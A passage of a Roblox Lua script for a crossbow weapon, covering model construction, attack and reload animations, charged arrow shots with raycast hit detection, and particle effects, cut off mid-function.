RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0)
LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0)
RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0)
LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0)
function Atch(p)
RABW.Part0 = p
LABW.Part0 = p
RLBW.Part0 = p
LLBW.Part0 = p
RSH.Part0 = p
LSH.Part0 = p
RH.Part0 = p
LH.Part0 = p
end
RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0)
LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0)
RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0)
LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0)
HB = Part(Mo, false, false, 1, 0, "Really black", 0.1, 0.1, 0.1)
HBW = Weld(Larm, HB, 0, 1, 0, 0, 0, 0)
HW = Weld(HB, nil, 0, 0, 0, MR(90), 0, 0)
AB = Part(Mo, false, false, 1, 0, "Really black", 0.1, 0.1, 0.1)
ABW = Weld(Rarm, AB, 0, 1, 0, 0, 0, 0)
AW = Weld(AB, nil, 0, 0, 0, 0, 0, 0)
TW = Weld(torso, nil, -0.7, 0, 0.5, 0, MP, 0)
Handle = Part(Mo, false, false, 0, 0, HandCol, 0.6, 1.2, 0.6)
Instance.new("SpecialMesh",Handle)
TW.Part1 = Handle
for i = -0.6, 0.61, 1.2 do
local p = Part(Mo, false, false, 0, 0, MiddleCol, 0.7, 0.2, 1.1)
Weld(Handle, p, 0, i, 0.15, 0, 0, 0)
Instance.new("BlockMesh", p)
end
local UpPoint, DownPoint
for i = -10, 95, 15 do
local p = Part(Mo, false, false, 0, 0, LapaCol, 0.69, 0.4, 0.2)
local w = Weld(Handle, p, 0, 0, 1.4, 0, 0, 0)
w.C0 = CN(0, 1.1, 0.75) * CA(MR(i), 0, 0)
Instance.new("BlockMesh", p)
UpPoint = p
end
for i = 10, -95, -15 do
local p = Part(Mo, false, false, 0, 0, LapaCol, 0.69, 0.4, 0.2)
local w = Weld(Handle, p, 0, 0, 1.4, 0, 0, 0)
w.C0 = CN(0, -1.1, 0.75) * CA(MR(i), 0, 0)
Instance.new("BlockMesh", p)
DownPoint = p
end
StringUp = Part(Mo, false, false, 0, 0, "Really black", 0.2, 1, 0.2)
StringDown = Part(Mo, false, false, 0, 0, "Really black", 0.2, 1, 0.2)
SUM = Instance.new("SpecialMesh", StringUp)
SDM = Instance.new("SpecialMesh", StringDown)
SUM.Scale = Vector3.new(0.4, 2.4, 0.4)
SDM.Scale = Vector3.new(0.4, 2.4, 0.4)
ORSU = CN(0, -1.3, 0) * CA(MR(-85), 0, 0)
ORSD = CN(0, 1.3, 0) * CA(MR(85), 0, 0)
SUW = Weld(UpPoint, StringUp, 0, -1.3, 0, MR(-85), 0, 0)
SDW = Weld(DownPoint, StringDown, 0, 1.3, 0, MR(85), 0, 0)
SUW.C0 = CN(0, 0.15, 0)
SDW.C0 = CN(0, -0.15, 0)
SUW.C1 = ORSU
SDW.C1 = ORSD
Arrow = Part(Mo, false, false, 1, 0, "Really black", 0.4, 0.4, 4.4)
local mesh = Instance.new("SpecialMesh",Arrow)
mesh.MeshId = "http://www.roblox.com/asset/?id=15887356"
mesh.TextureId = "http://www.roblox.com/asset/?id=15886781"
mesh.Scale = Vector3.new(1, 1, 2.1)
AW.Part1 = Arrow
Ring = Part(Mo, false, false, 0, 0, ViiniCol, 0.2, 0.2, 0.2)
RingM = Instance.new("SpecialMesh", Ring)
RingM.MeshId = "http://www.roblox.com/asset/?id=3270017"
RingM.Scale = Vector3.new(0.6, 1, 21)
local www = Weld(FTorso, Ring, -0.9, -0.2, -0.8, MR(90), MR(90), MR(30))
www.C0 = CA(MR(-10), 0, 0)
Sp = Part(Mo, false, false, 0, 0, "Really black", 1, 0.2, 1)
local S = Instance.new("SpecialMesh",Sp)
S.MeshType = "Sphere"
S.Scale = Vector3.new(0.65, 1, 1.05)
Weld(Ring, Sp, 0, 1.7, 0, MR(-90), 0, 0)
function makeArrow(pos, ang)
local arrow = Part(Mo, false, false, 0, 0, "Really black", 0.2, 1, 0.2)
local mesh = Instance.new("SpecialMesh",arrow)
mesh.MeshId = "http://www.roblox.com/asset/?id=15887356"
mesh.TextureId = "http://www.roblox.com/asset/?id=15886781"
mesh.Scale = Vector3.new(1, 1, 2.1)
Weld(Ring, arrow, pos.x, pos.y, pos.z, MP, 0, ang)
end
makeArrow(Vector3.new(0.15, 0.1, 0.55), 0.8)
makeArrow(Vector3.new(-0.2, -0.1, 0.65), -0.4)
makeArrow(Vector3.new(-0.1, 0.1, 0.6), 1.8)
makeArrow(Vector3.new(-0.1, -0.15, 0.7), 1.2)
makeArrow(Vector3.new(0, 0.3, 0.6), 0.28)
makeArrow(Vector3.new(0, 0, 0.65), 0.34)
makeArrow(Vector3.new(0.3, 0.1, 0.55), 1.9)
makeArrow(Vector3.new(-0.35, 0.1, 0.67), 1.9)
Mo.Parent = char
function Normal()
FTorso.Transparency = 1
FWeld.C0 = CN()
torso.Transparency = 0
LAW.C0 = CA(0, 0, MR(30))
RAW.Part1 = nil
RAW.C0 = CN()
RAW.C1 = CN(0, 0.5, 0)
LAW.C1 = CN(0, 0.5, 0)
LAW.Part1 = Larm
RABW.Part0 = torso
LABW.Part0 = torso
RLBW.Part0 = torso
LLBW.Part0 = torso
RSH.Part0 = torso
LSH.Part0 = torso
RH.Part0 = torso
LH.Part0 = torso
AW.C0 = CN()
HW.C0 = CA(MR(180), 0, MR(150))
SUW.C0 = CN(0, 0.15, 0)
SDW.C0 = CN(0, -0.15, 0)
SUW.C1 = ORSU
SDW.C1 = ORSD
SUM.Scale = Vector3.new(0.4, 2.4, 0.4)
SDM.Scale = Vector3.new(0.4, 2.4, 0.4)
end
if script.Parent.className ~= "HopperBin" then
h = Instance.new("HopperBin", me.Backpack)
h.Name = "xBow"
script.Parent = h
end
bin = script.Parent
function ShowDmg(pos, dmg)
local col = "Bright red"
if dmg < 1 then
col = "Bright blue"
end
local m = Instance.new("Model")
m.Name = "Damage Dealt: "..dmg*1758384
local p = Part(m, false, false, 0, 0, col, 0.8, 0.3, 0.8)
p.Name = "Head"
p.CFrame = CFrame.new(pos)
local bp = Instance.new("BodyPosition", p)
bp.position = pos + Vector3.new(0, 2.5, 0)
bp.P = 6500
bp.maxForce = Vector3.new(MH, MH, MH)
local h = Instance.new("Humanoid",m)
h.MaxHealth = 0
h.Health = 0
h.Name = "fffsaf"
m.Parent = workspace
game.Debris:AddItem(m, 1.5)
end
function Dmg(hum, dmg, pos)
if hum.Health > 0 then
hum.Health = hum.Health - dmg*1758384
ShowDmg(pos, dmg)
end
end
function ArrowT(hit)
local h = getHumanoid(hit.Parent)
if h and Deb and Hurt then
Deb = false
Dmg(h, MRA(3,15), Arrow.CFrame * CN(0, 0, 2.2).p)
end
end
Arrow.Touched:connect(ArrowT)
function SelectAnim()
LAW.Part1 = Larm
SelAnim = true
for i = 0.2, 1, 0.2 do
LAW.C0 = CA(MR(-25*i), 0, MR(25*i)) * CN(0, 0.2*i, 0)
wait()
end
HW.C0 = CN(0.4, 0.3, 0) * CA(MR(110), MR(-100), MR(180))
HW.Part1 = Handle
TW.Part1 = nil
for i = 0.08, 1, 0.08 do
LAW.C0 = CA(MR(-25+25*i), 0, MR(25-55*i)) * CN(0, 0.2-0.2*i, 0)
HW.C0 = CN(0.4-0.4*i, 0.3-0.3*i, 0) * CA(MR(110+70*i), MR(-
20+20*i), MR(180-30*i))
wait()
end
SelAnim = false
HW.C0 = CA(MR(180), 0, MR(150))
end
function DeselectAnim()
for i = 0.12, 1, 0.12 do
LAW.C0 = CA(MR(-25*i), 0, MR(-30+55*i)) * CN(0, 0.2*i, 0)
HW.C0 = CN(0.4*i, 0.3*i, 0) * CA(MR(180-70*i), MR(-20*i),
MR(150+30*i))
if SelAnim or Selected then return end
wait()
end
HW.Part1 = nil
TW.Part1 = Handle
for i = 0.12, 1, 0.12 do
LAW.C0 = CA(MR(-25+25*i), 0, MR(-30+55-25*i)) * CN(0, 0.2-0.2*i,
0)
if SelAnim or Selected then return end
wait()
end
if Selected == false and SelAnim == false then
LAW.Part1 = nil
end
end
function Slash()
RAW.Part1 = Rarm
Slashing = true
Play(Sounds.Slash)
for i = 0.15, 1, 0.15 do
RAW.C0 = CA(MR(180*i), MR(-20*i), MR(35*i))
AW.C0 = CA(MR(35*i), 0, 0) * CN(0, 0, 0.7*i)
wait()
end
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(180+10*i), MR(-20), MR(35+2*i))
AW.C0 = CA(MR(35+5*i), 0, 0) * CN(0, 0, 0.7+0.2*i)
wait()
end
local blockk = false
local hit, pos = RayC(torso.Position, torso.CFrame * CN(0, 0, -5).p,
3.2, char)
if hit ~= nil then
if getHumanoid(hit.Parent) == nil and hit.CanCollide == true then
blockk = true
end
end
SE(Arrow, CN(0, 0, 2.2))
if blockk == false then
Hurt = true
Deb = true
for i = 0.2, 1, 0.2 do
RAW.C0 = CA(MR(190-140*i), MR(-20-5*i), MR(37-87*i)) *
CN(0, -1*i, 0)
AW.C0 = CA(MR(40-25*i), MR(-20*i), 0) * CN(0, 0, 0.9+0.3*i)
wait()
end
EE()
Hurt = false
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(50-10*i), MR(-25), MR(-50-5*i)) * CN(0, -1,
0)
AW.C0 = CA(MR(15-20*i), MR(-20-1*i), 0) * CN(0, 0, 1.2*i)
wait()
end
for i = 0.25, 1, 0.25 do
RAW.C0 = CA(MR(40-10*i), MR(-25+25*i), MR(-55+35*i)) *
CN(0, -1+1*i, 0)
AW.C0 = CA(MR(-5+55*i), MR(-21+21*i), 0) * CN(0, 0, 1.2-
1.2*i)
wait()
end
for i = 0.25, 1, 0.25 do
RAW.C0 = CA(MR(30-30*i), 0, MR(-20+20*i))
AW.C0 = CA(MR(50-50*i), 0, 0)
wait()
end
else
for i = 0.5, 1, 0.5 do
RAW.C0 = CA(MR(190-50*i), MR(-20-5*i), MR(37-27*i)) * CN(0,
-0.2*i, 0)
AW.C0 = CA(MR(40-5*i), MR(-5*i), 0) * CN(0, 0, 0.9+0.1*i)
wait()
end
Play(Sounds.Block)
for i = 0.25, 1, 0.25 do
RAW.C0 = CA(MR(140+60*i), MR(-25+25*i), MR(10+20*i)) *
CN(0, -0.2-0.3*i, 0)
AW.C0 = CA(MR(35+45*i), MR(-5+5*i), 0) * CN(0, 0, 1)
wait()
end
EE()
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(200+10*i), MR(5*i), MR(30+5*i)) * CN(0, -
0.5, 0)
AW.C0 = CA(MR(80+5*i), 0, 0) * CN(0, 0, 1)
wait()
end
for i = 0.18, 1, 0.18 do
RAW.C0 = CA(MR(210-200*i), MR(5-5*i), MR(35-30*i)) * CN(0,
-0.5+0.4*i, 0)
AW.C0 = CA(MR(85-75*i), 0, 0) * CN(0, 0, 1-0.8*i)
wait()
end
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(10-10*i), 0, MR(5-5*i)) * CN(0, -0.1+0.1*i,
0)
AW.C0 = CA(MR(10-10*i), 0, 0) * CN(0, 0, 0.2-0.2*i)
wait()
end
AW.C0 = CN()
end
Slashing = false
RAW.Part1 = nil
end
function Reload()
if ArrowOn == false then
RAW.Part1 = Rarm
Reloading = true
for i = 0.16, 1, 0.16 do
RAW.C0 = CA(MR(200*i), MR(-5*i), 0) * CN(0, -0.35*i, 0)
wait()
end
AW.C0 = CA(0, MR(-90), 0)
AW.C1 = CN(0, 0, -1.5) * CA(MR(60), 0, 0)
Arrow.Transparency = 0
ArrowOn = true
for i = 0.2, 1, 0.2 do
RAW.C0 = CA(MR(200), MR(-5), MR(40*i)) * CN(0, -0.35, 0)
AW.C1 = CN(0, 0, -1.5+2*i) * CA(MR(60-20*i), 0, 0)
wait()
end
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(200), MR(-5), MR(40+10*i)) * CN(0, -
0.35+0.05*i, 0)
AW.C1 = CN(0, 0, 0.5+0.1*i) * CA(MR(40-5*i), 0, 0)
wait()
end
for i = 0.18, 1, 0.18 do
RAW.C0 = CA(MR(200-190*i), MR(-5+5*i), MR(50-45*i)) * CN(0,
-0.3+0.25*i, 0)
AW.C1 = CN(0, 0, 0.6-0.5*i) * CA(MR(35-30*i), 0, 0)
AW.C0 = CA(0, MR(-90+80*i), 0)
wait()
end
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(10-10*i), 0, MR(5-5*i)) * CN(0, -
0.05+0.05*i, 0)
AW.C1 = CN(0, 0, 0.1-0.1*i) * CA(MR(5-5*i), 0, 0)
AW.C0 = CA(0, MR(-10+10*i), 0)
wait()
end
AW.C1 = CN()
AW.C0 = CN()
RAW.C0 = CN()
RAW.Part1 = nil
Reloading = false
else
Slash()
end
end
function AddDetail(Surface, pos, bool, part, hu)
local caf = CN(pos) * CA(part.CFrame:toEulerAnglesXYZ()) * Surface[2]
if Surface[1] == "Anything" then
caf = Surface[2]
end
Notime(function()
if bool then
Notime(function()
for i = 1, MRA(2,7) do
local x = MRA(0.4*100, 0.9*100)/100
local z = MRA(0.7*100, 1.2*100)/100
local pp = Part(hu.Parent, false, false, 0, 0,
"Bright red", 0.2, 0.2, 0.2)
local ms = Instance.new("SpecialMesh",pp)
ms.MeshType = "Sphere"
ms.Scale = Vector3.new(x*5, 1, z*5)
pp.CFrame = caf
local w = Weld(part, pp, 0, 0, 0, 0, 0, 0)
local c0 = part.CFrame:toObjectSpace(caf) *
CN(MRA(-0.3*100, 0.3*100)/100, 0, MRA(-0.3*100, 0.3*100)/100) * CA(0, MR(MRA(-
180,180)), 0)
w.C0 = c0
Notime(function()
local moar = MRA(-1.1*1000,
1.1*1000)/1000
for i = 0, 1, MRA(0.02*1000,
0.06*1000)/1000 do
wait()
w.C0 = c0 * CN(0, 0, -moar*i)
ms.Scale = Vector3.new((x*5)-
(moar/3)*i, 1, (z*5)+(moar/3)*i)
pp.Transparency = -0.5+1.5*i
end
pp:remove()
end)
end
end)
for i = 1, MRA(4,8) do
Notime(function()
local pp2 = Part(hu.Parent, true, false, 0, 0,
"Bright red", 0.2, 0.2, 0.2)
pp2.CFrame = caf
local ms2 = Instance.new("SpecialMesh",pp2)
ms2.MeshType = "Sphere"
ms2.Scale = Vector3.new(1.5, 1.5, 1.5)
local face = CA(MR(MRA(-40, 40)+105), MR(MRA(-
40, 40)), MR(MRA(-40, 40)))
local center = caf * face * CN(0, -5, 0)
Notime(function()
for i = 0, 1, 0.1 do
pp2.Transparency = -0.7+1.7*i
pp2.CFrame = center * CN(0, 0, -
2.5*i) * CA(MR(-55*i), 0, 0) * CN(0, 5, 0)
wait()
end
pp2:remove()
end)
end)
end
else
Notime(function()
for i = 1, MRA(5,8) do
Notime(function()
local t = {"Bright yellow", "New Yeller",
"Really black", "Institutional Really black", "Brick yellow"}
local pp = Part(workspace, true, false,
0, 0, t[MRA(1, #t)], 0.2, 0.2, 0.2)
local mes =
Instance.new("SpecialMesh",pp)
mes.MeshType = "Sphere"
mes.Scale = Vector3.new(0.5, 0.5, 1)
local caa = CN(caf.p) * CA(MR(MRA(-
180,180)), MR(MRA(-180,180)), MR(MRA(-180,180)))
pp.CFrame = caa
for i = 0.25, 1, 0.25 do
wait()
mes.Scale = Vector3.new(0.5+0.1*i,
0.5+0.1*i, 1+2*i)
pp.CFrame = caa * CN(0, 0, -0.4*i)
end
for i = 0.25, 1, 0.25 do
wait()
mes.Scale = Vector3.new(0.6, 0.6,
3+1.6*i)
pp.CFrame = caa * CN(0, 0, -0.6-
0.32*i)
pp.Transparency = -0.2+1.2*i
end
pp:remove()
end)
end
end)
end
end)
end
function ShootArrow(pos, power, targ)
local Start = Handle.Position
local mag = (Start - pos).magnitude/200
if mag > 12.5 then mag = 12.5 end
if targ == nil then mag = 1 end
local Face = CN(Start, pos) * CA(MR(MRA(-Accuracy*10000,
Accuracy*10000)/10000+mag), MR(MRA(-Accuracy*10000, Accuracy*10000)/10000),
MR(MRA(-Accuracy*10000, Accuracy*10000)/10000))
local Arr = Part(Mo, true, false, 0, 0, "Really black", 0.2, 0.2, 0.2)
local mes = Instance.new("SpecialMesh",Arr)
mes.MeshId = "http://www.roblox.com/asset/?id=15887356"
mes.TextureId = "http://www.roblox.com/asset/?id=15886781"
mes.Scale = Vector3.new(1, 1, 2.1)
Arr.CFrame = Face
local Go = 2.8+(power/30)
local Dist = 200+(power*2.8)
local Drop = 0.55/(Go*1.25)
local lastP = Start
local didhit = false
local omg = 0
local hit2, pos2 = RayC(torso.CFrame * CN(0, 0, -0.4).p, torso.CFrame *
CN(0, 0, -2).p, 2.5, char)
local hu2 = nil
if hit2 then
local hh = getHumanoid(hit2.Parent)
if hh then
hit2 = nil
end
end
for i = Go, Dist, Go do
Drop = Drop + 1/(Go*3.5)
omg = omg + Drop
local dropping = CA(MR(-Drop), 0, 0)
if omg > 130 then
dropping = CN()
end
Face = Face * dropping * CN(0, 0, -Go)
Arr.CFrame = Face * CA(MR(-180), 0, 0)
local hit, p = RayC(lastP, Face.p, Go+0.5, char)
local eff = Part(Mo, true, false, 0, 0, "Really black", 0.2, 1,
0.2)
local magn = (lastP - Face.p).magnitude
local cf = CN(lastP, Face.p) * CA(MR(-90), 0, 0)
if hit then
magn = (lastP - p).magnitude
cf = CN(lastP, p) * CA(MR(-90), 0, 0)
end
local mes2 = Instance.new("SpecialMesh",eff)
mes2.Scale = Vector3.new(0.6, magn, 0.6)
eff.CFrame = cf * CN(0, magn/2, 0)
Notime(function()
for i = 0, 1, 0.12 do
wait()
eff.Transparency = i
eff.Reflectance = 0.15*i
mes2.Scale = Vector3.new(0.6-0.6*i, magn, 0.6-0.6*i)
end
eff:remove()
end)
local realhit = hit
if hit2 then realhit = hit2 p = pos2 end
if hit or hit2 then
local h = getHumanoid(realhit.Parent)
local sound = Sounds.Stick
if h and hit.Parent.className ~= "Hat" then
local d = MRA(12+DMG+(power/8), 20+DMG+(power/5.5))
hit:remove()
if hit.Name == "Head" then
d = math.floor(d*1.4)
hit:remove()
end
Dmg(h, d, p)
sound = Sounds.Hit
elseif h == nil and realhit.Parent.className ~= "Hat" then
if realhit.Anchored == false then
Notime(function()
wait(0.08)
local mas = realhit:GetMass()/5+2
local vel = (16+(power/3))/mas
if vel < 0 then vel = 0 end
realhit.Velocity = (CN(lastP,
p).lookVector) * vel
end)
end
end
local a = -1.2
if realhit.Anchored then
Arr.CFrame = CN(p, lastP) * CN(0, 0, a)
if realhit == hit2 then
Arr.CFrame = CN(Start, pos2) * CN(0, 0, -1.9)
end
else
a = (power-200)/110
local w8 = 13
if realhit.Parent.className == "Hat" then
a = ((power/2)-170)/110
w8 = 5
end
Arr.Anchored = false
local w = Weld(realhit, Arr, 0, 0, 0, 0, 0, 0)
w.C1 = ((CN(p, lastP) * CN(0, 0,
a)):toObjectSpace(realhit.CFrame))
if realhit == hit2 then
w.C1 = ((CN(Start, pos2) * CN(0, 0, -
1.9)):toObjectSpace(realhit.CFrame))
end
Notime(function()
if power < 50 then
wait(w8+power/7.5)
local caa = Arr.CFrame
w:remove()
Arr.Size = Vector3.new(0.3, 0.3, 4)
Arr.CFrame = caa
Arr.CanCollide = true
end
end)
end
didhit = true
Notime(
function()
wait(26)
for i = 0, 1, 0.02 do
Arr.Transparency = i
wait()
end
Arr:remove()
end
)
Play(sound)
local Surface = DetectSurface(p, realhit)
AddDetail(Surface, p, h ~= nil and hit.Parent.className ~=
"Hat", realhit, h)
wait(0.05)
break
end
lastP = Face.p
wait()
end
if didhit == false then
for i = 0, 1, 0.2 do
Arr.Transparency = i
wait()
end
Arr:remove()
end
end
function Shoot(mouse)
Shooting = true
RAW.Part1 = Rarm
Atch(FTorso)
FTorso.Transparency = 0
torso.Transparency = 1
local shoot = false
Spec.BorderColor3 = C3()
local amg, omg = false, false
Notime(function()
repeat
wait()
until Selected == false or omg
if omg == false then
omg = true
Shooting = false
Reloading = false
Hurt = false
Slashing = false
Normal()
EE()
return
end
end)
Notime(function()
mouse.Button1Up:wait()
shoot = true
end)
for i = 0.16, 1, 0.16 do
FWeld.C0 = CA(0, MR(-80*i), 0)
LAW.C0 = CA(MR(85*i), 0, MR(-30-25*i)) * CN(0.3*i, 0.4*i, -0.1*i)
RAW.C0 = CA(MR(85*i), 0, MR(-70*i)) * CN(0.65*i, -1.2*i, 0)
HW.C0 = CA(MR(180), 0, MR(150+60*i))
AW.C0 = CA(MR(85*i), 0, 0) * CN(0, 0, 2.1*i)
wait()
end
for i = 0.33, 1, 0.33 do
FWeld.C0 = CA(0, MR(-80-10*i), 0)
LAW.C0 = CA(MR(85+5*i), 0, MR(-55-5*i)) * CN(0.3, 0.4, -0.1)
RAW.C0 = CA(MR(85+5*i), 0, MR(-70-5*i)) * CN(0.65+0.05*i, -1.2-
0.1*i, 0)
HW.C0 = CA(MR(180), 0, MR(210+5*i))
AW.C0 = CA(MR(85+5*i), MR(-15*i), 0) * CN(0, 0, 2.1+0.1*i)
wait()
end
LAW.C0 = CA(MR(90), 0, MR(-60)) * CN(0.3, 0.4, -0.1)
HW.C0 = CA(MR(180), 0, MR(215))
FWeld.C0 = CA(0, MR(-90), 0)
for i = 0.25, 1, 0.25 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -1.3+1.2*i, 0)
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-26*i), 0, 0)
SUW.C1 = CN(0, -0.22*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.4+0.3*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(26*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.4+0.3*i, 0.4)
SDW.C1 = CN(0, 0.25*i, 0) * ORSD
wait()
end
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -0.1+0.1*i, 0)
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-26-4*i), 0, 0)
SUW.C1 = CN(0, -0.22-0.03*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.7+0.1*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(26+4*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.7+0.1*i, 0.4)
SDW.C1 = CN(0, 0.22+0.04*i, 0) * ORSD
wait()
end
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, 0, 0)
local powe = 10
Main.Visible = true
Bar.Size = UD(powe/MaximumPower, 0, 1, 0)
Notime(function()
repeat wait() until powe >= MaximumPower or shoot
wait(6)
if shoot == false then
shoot = true
end
end)
repeat
wait()
powe = powe + 4.8
if powe > MaximumPower then powe = MaximumPower end
Bar.Size = UD(powe/MaximumPower, 0, 1, 0)
local sped = 16-((powe/MaximumPower)*9) if Selected == false then
sped = 16 end
Hum.WalkSpeed = sped
until shoot
Main.Visible = false
Notime(function()
for i = 0.5, 1, 0.5 do
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-30+30*i), 0, 0)
SUW.C1 = CN(0, -0.25+0.25*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.8-0.4*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(30-30*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.8-0.4*i, 0.4)
SDW.C1 = CN(0, 0.25-0.25*i, 0) * ORSD
wait()
end
end)
local pos = mouse.Hit.p
ArrowOn = false
Arrow.Transparency = 1
Notime(function()
Play(Sounds.Shoot)
ShootArrow(pos, powe, mouse.Target)
end)
for i = 0.2, 1, 0.2 do
FWeld.C0 = CA(0, MR(-90+25*i), 0)
LAW.C0 = CA(MR(90+25*i), 0, MR(-60-15*i)) * CN(0.3-0.3*i, 0.4-
0.4*i, -0.1+0.1*i)
RAW.C0 = CA(MR(90+60*i), 0, MR(-75+55*i)) * CN(0.7-0.5*i, -0.1*i,
0)
HW.C0 = CA(MR(180), 0, MR(215-65*i))
wait()
end
Hum.WalkSpeed = 16
for i = 0.25, 1, 0.25 do
FWeld.C0 = CA(0, MR(-65+5*i), 0)
LAW.C0 = CA(MR(115+5*i), 0, MR(-75-5*i))
RAW.C0 = CA(MR(150+10*i), 0, MR(-20+5*i)) * CN(0.2-0.1*i, -0.1-
0.05*i, 0)
HW.C0 = CA(MR(180), 0, MR(150))
wait()
end
for i = 0.14, 1, 0.14 do
FWeld.C0 = CA(0, MR(-60+55*i), 0)
LAW.C0 = CA(MR(120-110*i), 0, MR(-80+45*i))
RAW.C0 = CA(MR(160-150*i), 0, MR(-15+10*i)) * CN(0.1-0.1*i, -
0.15+0.15*i, 0)
wait()
end
for i = 0.33, 1, 0.33 do
FWeld.C0 = CA(0, MR(-5+5*i), 0)
LAW.C0 = CA(MR(10-10*i), 0, MR(-35+5*i))
RAW.C0 = CA(MR(10-10*i), 0, MR(-5+5*i))
wait()
end
AW.C0 = CN()
FWeld.C0 = CN()
LAW.C0 = CA(0, 0, MR(-30))
HW.C0 = CA(MR(180), 0, MR(150))
FTorso.Transparency = 1
torso.Transparency = 0
Atch(torso)
Shooting = false
RAW.Part1 = nil
RAW.C0 = CN()
Spec.BorderColor3 = C3()
omg = true
end
function SpecialAtk(mouse)
if Special < 50 then return end
Shooting = true
Spec.BorderColor3 = C3(0, 1, 0)
RAW.Part1 = Rarm
Atch(FTorso)
FTorso.Transparency = 0
torso.Transparency = 1
local amg, omg = false, false
Notime(function()
repeat
wait()
until Selected == false or omg
if omg == false then
omg = true
Shooting = false
Reloading = false
Hurt = false
Slashing = false
Normal()
EE()
return
end
end)
local shoot = false
Notime(function()
mouse.Button1Up:wait()
shoot = true
end)
for i = 0.2, 1, 0.2 do
FWeld.C0 = CA(0, MR(-80*i), 0)
LAW.C0 = CA(MR(85*i), 0, MR(-30-25*i)) * CN(0.3*i, 0.4*i, -0.1*i)
RAW.C0 = CA(MR(85*i), 0, MR(-70*i)) * CN(0.65*i, -1.2*i, 0)
HW.C0 = CA(MR(180), 0, MR(150+60*i))
AW.C0 = CA(MR(85*i), 0, 0) * CN(0, 0, 2.1*i)
wait()
end
for i = 0.5, 1, 0.5 do
FWeld.C0 = CA(0, MR(-80-10*i), 0)
LAW.C0 = CA(MR(85+5*i), 0, MR(-55-5*i)) * CN(0.3, 0.4, -0.1)
RAW.C0 = CA(MR(85+5*i), 0, MR(-70-5*i)) * CN(0.65+0.05*i, -1.2-
0.1*i, 0)
HW.C0 = CA(MR(180), 0, MR(210+5*i))
AW.C0 = CA(MR(85+5*i), MR(-15*i), 0) * CN(0, 0, 2.1+0.1*i)
wait()
end
LAW.C0 = CA(MR(90), 0, MR(-60)) * CN(0.3, 0.4, 0)
HW.C0 = CA(MR(180), 0, MR(215))
FWeld.C0 = CA(0, MR(-90), 0)
AW.C0 = CA(MR(90), MR(-15), 0) * CN(0, 0, 2.2)
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -1.3+1.2*i, 0)
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-26*i), 0, 0)
SUW.C1 = CN(0, -0.22*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.4+0.3*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(26*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.4+0.3*i, 0.4)
SDW.C1 = CN(0, 0.25*i, 0) * ORSD
wait()
end
for i = 0.5, 1, 0.5 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -0.1+0.1*i, 0)
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-26-4*i), 0, 0)
SUW.C1 = CN(0, -0.22-0.03*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.7+0.1*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(26+4*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.7+0.1*i, 0.4)
SDW.C1 = CN(0, 0.22+0.04*i, 0) * ORSD
wait()
end
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, 0, 0)
local powe = 0
Main.Visible = true
Bar.Size = UD(powe/MaximumPower, 0, 1, 0)
Notime(function()
repeat wait() until powe >= MaximumPower or shoot
if shoot == false then
shoot = true
end
end)
repeat
wait()
powe = powe + 5
if powe > MaximumPower then powe = MaximumPower end
Bar.Size = UD(powe/MaximumPower, 0, 1, 0)
local sped = 16-((powe/MaximumPower)*9) if Selected == false then
sped = 16 end
Hum.WalkSpeed = sped
until shoot
Special = Special - 50
Main.Visible = false
local pos = mouse.Hit.p
Notime(function()
Play(Sounds.Shoot)
ShootArrow(pos, powe/1.2, mouse.Target)
end)
SUW.C0 = CN(0, 0.15, 0) * CA(0, 0, 0)
SUW.C1 = CN(0, 0, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.4, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(0, 0, 0)
SDM.Scale = Vector3.new(0.4, 2.4, 0.4)
SDW.C1 = CN(0, 0, 0) * ORSD
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -1.3*i, 0)
wait()
end
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -1.3+1.2*i, 0)
